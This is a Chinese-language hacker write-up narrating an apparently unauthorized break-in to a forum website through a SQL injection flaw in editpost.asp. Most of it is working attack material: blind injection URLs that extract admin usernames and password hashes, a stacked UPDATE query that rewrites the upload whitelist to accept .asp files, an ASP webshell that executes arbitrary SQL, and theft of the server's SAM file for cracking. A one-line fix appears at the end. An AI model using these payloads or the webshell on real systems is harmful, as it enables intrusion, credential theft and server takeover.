跨庫查詢.可以暴露任意庫中任意表中字段的值

一、前言廢話:

昨天, 上選修課時候看12月的黑客防線---產生了寫個關於論壇漏洞分析的想法。可後來上網查找時發現比較出名的論壇都被各位前輩查的差不多了----鬱悶中。這時1個朋友發來了個“修改得很漂亮的雪人論壇”。現在把發現這個漏洞,並利用這個漏洞入侵的全部經過寫出來。大家有疑問請上 www.cnwill.com 討論。.

二、漏洞的發現過程:

腳本,又是腳本,我對這東西還是比較感興趣的.有很長一段時間,沒有去搞入侵了.因爲公司事情忙,今天找到了一個官方BBS的網站,對他進行測試.首先,我打開了自己編寫的掃描器,對網站進行掃描!端口出來了:21 80 1433 可以利用的就只有這麼多!其實只要抓住
一個洞就行了,願意老天給我一個洞吧!!FTP 是用的 SERVER_U 可以提升權限.不過現在沒得到任何shell.1433 MSSQL 這個東西,入侵五花八門的招式都有. 衝擊波過後,很少看到135。估計打了sp4了。

嗯,先試試FTP匿名可不可以進去.我運氣一直不好,這次我也不例外,我沒進去.哈哈讓大家失望了!再來看1433 有沒有弱口今,我掃ing!!!! 結果又讓大家失望,也讓我失望!!!!採用SQL的溢出都不成功,可能打了sp3 了的。問題是現在還沒得SQL SP3 的溢出程序。放棄嗎?呵呵,爲什麼要放棄,故事纔剛剛開始啦!!!

現在只有看看他的網站腳本方面存不存在漏洞,網站上面只有一個論壇,其他什麼都沒有了.目前在網上是找不到這個論壇的漏洞資料,至少我不知道。可能是名氣也只是一般般吧,和動網比起來可真是小巫見大巫啦.在他的論壇裏面發現了有提供免費版下載的地方.網點開
了1433,推斷出這個論壇應該有90%的機率用了MSSQL數據庫.

呵呵,如果我讓我找到一個SQL注入漏洞,哼,機會就大大的有了.來了,下載他的免費版看看!打開ASP源代碼查找漏洞的同時,我喜歡點
支菸,不知道爲什麼,好像我已經習慣這種感覺了,找漏洞是離不開香菸D.要不就沒有靈感了.枯燥的尋找漏洞的過程,真的很煩人。

雪人論壇的程序要求:Windows NT 主機 + Access/SQL Server2000 數據庫,網上能下的都是 for Access的。首先下載了一個最新的SF2.0 for Access版本,然後打開所有類似與**.asp?id=**的asp代碼查看.editpost.asp等文件.

我看完了13個ASP文件,一點收穫都沒有.但是我找漏洞不喜歡沒有找完就放棄.那不是我的作法,我喜歡挑戰.剛打開下一個ASP文件的時候,電話響了,女友打來的.叫我晚上陪他看電影.說《無間道III》 出來了,我個人比較喜歡看劉德華演的,那部《全職殺手》至今還歷歷在目咧!所以我很快答應了。晚上8:00老地方見!放下電話,還有兩個小時,先分析代碼吧,所以我又開始看代碼了。找到了他過濾參數的一條語句,看了一下,這個[ChkSql]對提交的ID過濾了單引號.下面又是通過[IsNumeric]判斷是不是數]。哇!這明顯就完全的過濾了漏洞,可是,[editpost.asp]程序員誤筆,差點沒有讓我笑出聲來!過是過濾了,就是過過頭了!

三、漏洞原理分析 :
err = false
postid = ChkSql(request("postid"))
if not IsNumeric(postidid) then '判斷一對象是否爲數字,返回布爾值 是/否
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ //這就是產生漏洞的語句了。。
'常理來說這樣的設置應該是安全的,postidid只有是數字纔可以通過.但這裏程序員忽視了地方
'IsNumeric是對"postidid"做過濾,而真正要使用的卻是"postid".所以這裏的postid沒做任何
'過濾,我們可以大膽的惡意查詢數據庫裏的管理員密碼了
err = true
else
StrSql = "select * from sf_post where postid = " & postid
Set rs2 = Conn.Execute(StrSql)
if rs2.bof or rs2.eof then
err = true
else
posttitle = rs2("title")
threadid = rs2("threadid")
userid = rs2("userid")
StrSql = "select * from sf_thread where visible = 1 and threadid = " & threadid
Set rs2 = Conn.Execute(StrSql)
if rs2.bof or rs2.eof then
error = true
else
threadtitle = rs2("title")
forumid = rs2("forumid")
open = rs2("open")
end if
end if
end if
delpost.asp|showthread.asp等文件均有此漏洞
但是他判斷參數找錯對像了!!哈,那就相當於沒有判斷是不是數字。一個小小的漏洞,找我抓住了。我們開工吧。又開工咯!

四、詳解入侵過程 for access版
http://cnwill.com/editpost.asp?postid=513 or 0<>(select count(*) from sf_user)
查詢是否有sf_user表
http://cnwill.com/editpost.asp?postid=513 and 0<>(select count(*) from sf_user where username<>'')
查詢sf_user表裏是否有username列
http://cnwill.com/editpost.asp?postid=513 and 0<>(select count(*) from sf_user where password<>'')
查詢sf_user表裏是否有password列

查詢管理員密碼
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where left(password,1)='C' and userid=1)
min(userid)是最小ID,也可以換成max(userid)最大ID. and userid=1,是更改管理員在sf_user表的ID號。left是重password列的左邊猜密碼,
right是重password列的右邊猜密碼,根據經驗最好是左右開工,這樣猜起來速度比較快!
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where left(password,2)='Cn' and userid=1)
依次猜下去(如果猜對的話,頁面就可以正常實現)

猜管理員用戶名長度
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where len(username)=8 and userid=1)

猜管理員密碼長度
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where len(password)=16 and userid=1)
密碼用MD5加過密 一般是16位

猜出MD5加過密的密碼後就放高速肉雞上跑吧...就我上次看的三所大學人氣極高的論壇的結果來說,很多人不注意密碼的安全性。總有管理員
的密碼能被很輕鬆的猜出來.

五、詳解入侵過程 for mssql版

(1)對於上面掃描的結果,我相信系統管理員肯定不是SB.所以我相信XP_CMDSHELL已經DEL了。並且網站的安全性可能也比較高.也就
只有通過這個小小的漏洞,來進行我們的表演了。讓我們來進行操作吧,
打開IE輸入了:http://www.cnwill.com/bbs/po.asp?pxid=523 and 1=1返回正常,看來漏洞是真的存在了。下面的過程,讓我苦了又苦.在下載的ACCESS庫中,我找到了用戶表, 看到用戶表中有一個字段是用來區分是不是前臺管理員的標實.
然後在他的網站上面我找到了一個管理員的ID號,測試一下吧.
http://www.cnwill.com/bbs/po.asp?pxid=523 and 0<>(select count(*) from xxx_user where username>0 and Flag=4 and userid=1)
IE返回,找不到xxx_user表.呵呵,看來,官方網站的人也不是SB.感覺來了,
後臺管理路徑可能也被改了。測試一下.果然,已經更改了。入侵路線全完被封所了.A計劃失敗了,我們採用B計劃吧!
  (2)B計劃就是我們只有採用跨庫查詢來爆出他的表名,然後繼續注射!點上了一支菸,我相信這次一定會成功的拿到他真正的表名,因爲以前採用跨庫查詢爆表名,每次都成功了的.兩分鐘之類,我得到了數據庫中的所有庫名,分析了一下,找出了其BBS採用的庫名。然後我又對這個庫中的表名進行爆破.工程量之大啊。想到了報表名的時候會用到單引號,對方過濾了單引號.採用SQL編碼,我饒過了單引號.取得了第一個表名.xxx_yy_setsys。
  在我下載的庫中存在一個xxx_setsys表名。比較了一下就多了一個yy。如果讓你來猜想,他是不是所有的表名都加了一個yy呢?你一定會去測試一下,對,我也和你一樣,我測試了一下.更改剛纔測試漏洞的那條語句,我成功了。這次在IE中爆出了前臺管理員的名字.呵呵,來看密碼,爆出來了,MD5的。又一個MD5碼。我不喜歡去爆力破解一個密碼的。因爲要花很長的時間,對於官方網站的管理員密碼。我也不敢去用社會工程學猜解。所以我只要尋找其他道路了。
(3)FSO,這個你應該很熟悉了吧。論壇支持上傳文件。不過發貼的時候,他判斷了文件擴展名,我怎麼把我的ASP木馬給他上傳進去呢?看他的ASP源代碼怎麼寫的。分析出來了,他用一個表來保存上傳文件的擴展名稱.如果你上傳的名稱不在表中,那當然不能上傳。看來,我們只有更改他的表中的記錄了。默認可以上傳的類型爲:jpg,gif,rar,zip. 我選中了一個rar文件,我們把這個rar更改成爲asp 就可以上傳了。在用MSSQL的UPDATE語句的時候,我遇到了問題,更改他的記錄的時候,要採用sql編碼,因爲存在單引號。這次我沒有成功.在失敗的同時,我很快想到了另一種辦法!我去註冊一個叫asp的用戶名。然後用select語句取得這個用戶名給他寫入數據庫中,就不會用到
單引號,哈!註冊的時候說這個用戶已經存在了,好吧,我取長點:aspXasp這次成功.我提交了以下語句:
http://www.cnwill.com/bbs/po.asp?pxid=523;update uploadfile set exefilename=substring((select username from xxx_yy_setsys where userid=74852),1,3) where ascii(substirng(exefilename,1,1))=114--
呵呵,沒有返回任何錯誤,看來多半成功了,好,改變語句爆出他的設置,我親愛的IE,我很愛你,哈哈,在IE中爆出了asp字樣。證明我已經成功了。也不能高興太早,因爲故事纔剛進入發展階級,我得快點上傳ASP木馬,爲了不讓管理員發現,我要以最快的速度把設置更改過來.一切都在計劃中進行着.我上傳了木馬,然後給他加了一個ASP文件在裏面,直接執行一切的SQL語句!
 ....
cmd = trim(request("chou"))
if cmd <> "" then
conn.execute cmd
end if
我利用這個文件,把設置改了回來,把我註冊的賬號刪除了。同時把馬木copy到一個隱蔽的地方!然後爲他的論壇把補丁打上,哎,就是刪除兩個字符,他過濾錯參數了嘛。到止,B計劃成功了. 好了,輕鬆了一下了。
(4)查看服務器信息,想辦法提升自己的權限,得到系統管理員權限嘿,現在我們已經得到了一個WEBSHELL,我們先看能不能利用SERVER_U本地提升權限。哎,運氣不好,沒有寫權限。改不了配置文件!MSSQL又打了SP3。開的服務也就這麼多。嗯,先把他安裝的程序看看,有什麼東西。在程序目錄裏面,突然,一個程序文件夾讓我的眼睛一亮,嘿嘿!!我發了PCANYWHERE目錄。TNND,沒有開5631。可能是以前安裝過的。然後停了服務了。先不管看看有沒有CIF文件再說!!查詢*.cif文件。很快出來了,只有一個默認的。根本沒有什麼用。又是白費功夫了。不過我相信,會有辦法得升權限的。先放一首歌來聽聽,清醒一下自己的思路吧!!OPEN MUSIC 《心口不一》節奏來了!!!點上一支菸,享
受吧!!!!再沒有辦法的同時,我下載了他的SAM文件。放到我的超級高速無敵的肉機上跑PASSWORD了。時間先快要到8點了.還得去陪女友看電影咧!OK,先放一下吧。我關了COMPUTER。
穿上外套,浪漫去了!!!朋友們,等會見!!!:)

六、漏洞補丁
在editpost.asp等文件中,把if not IsNumeric(postidid) then 這條語句替換成if not IsNumeric(postid) then
即可修補這個漏洞了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章